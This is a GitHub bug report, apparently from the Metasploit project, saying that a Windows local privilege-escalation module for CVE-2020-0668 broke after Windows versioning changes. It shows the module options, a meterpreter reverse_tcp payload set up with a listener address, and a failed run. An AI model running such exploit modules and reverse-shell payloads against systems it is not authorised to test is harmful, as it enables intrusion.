cve_2020_0668_service_tracing broken from changes to Windows versioning

[bwatters-r7]

Looks like changes to windows versioning broke this module's check method.

msf6 exploit(windows/local/cve_2020_0668_service_tracing) > show options

Module options (exploit/windows/local/cve_2020_0668_service_tracing):

   Name                   Current Setting  Required  Description
   ----                   ---------------  --------  -----------
   EXPLOIT_DIR                             no        The directory to create for mounting (%TEMP%\%RAND% by default).
   OVERWRITE_DLL          false            yes       Overwrite WindowsCreDeviceInfo.dll if it exists (false by default).
   PAYLOAD_UPLOAD_NAME                     no        The filename to use for the payload binary (%RAND% by default).
   PHONEBOOK_UPLOAD_NAME                   no        The name of the phonebook file to trigger RASDIAL (%RAND% by default).
   SESSION                1                yes       The session to run this module on

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.5.135.201     yes       The listen address (an interface may be specified)
   LPORT     4585             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows x64

View the full module info with the info, or info -d command.

msf6 exploit(windows/local/cve_2020_0668_service_tracing) > run

[*] Started reverse TCP handler on 10.5.135.201:4585 
[-] Exploit failed: NoMethodError undefined method `number' for #<Msf::WindowsVersion:0x0000733e24d7b9c0 @_major=10, @_minor=0, @_build=18362, @_service_pack=0, @_revision=30, @product_type=1>
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/cve_2020_0668_service_tracing) > 

[github-actions[bot]]

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.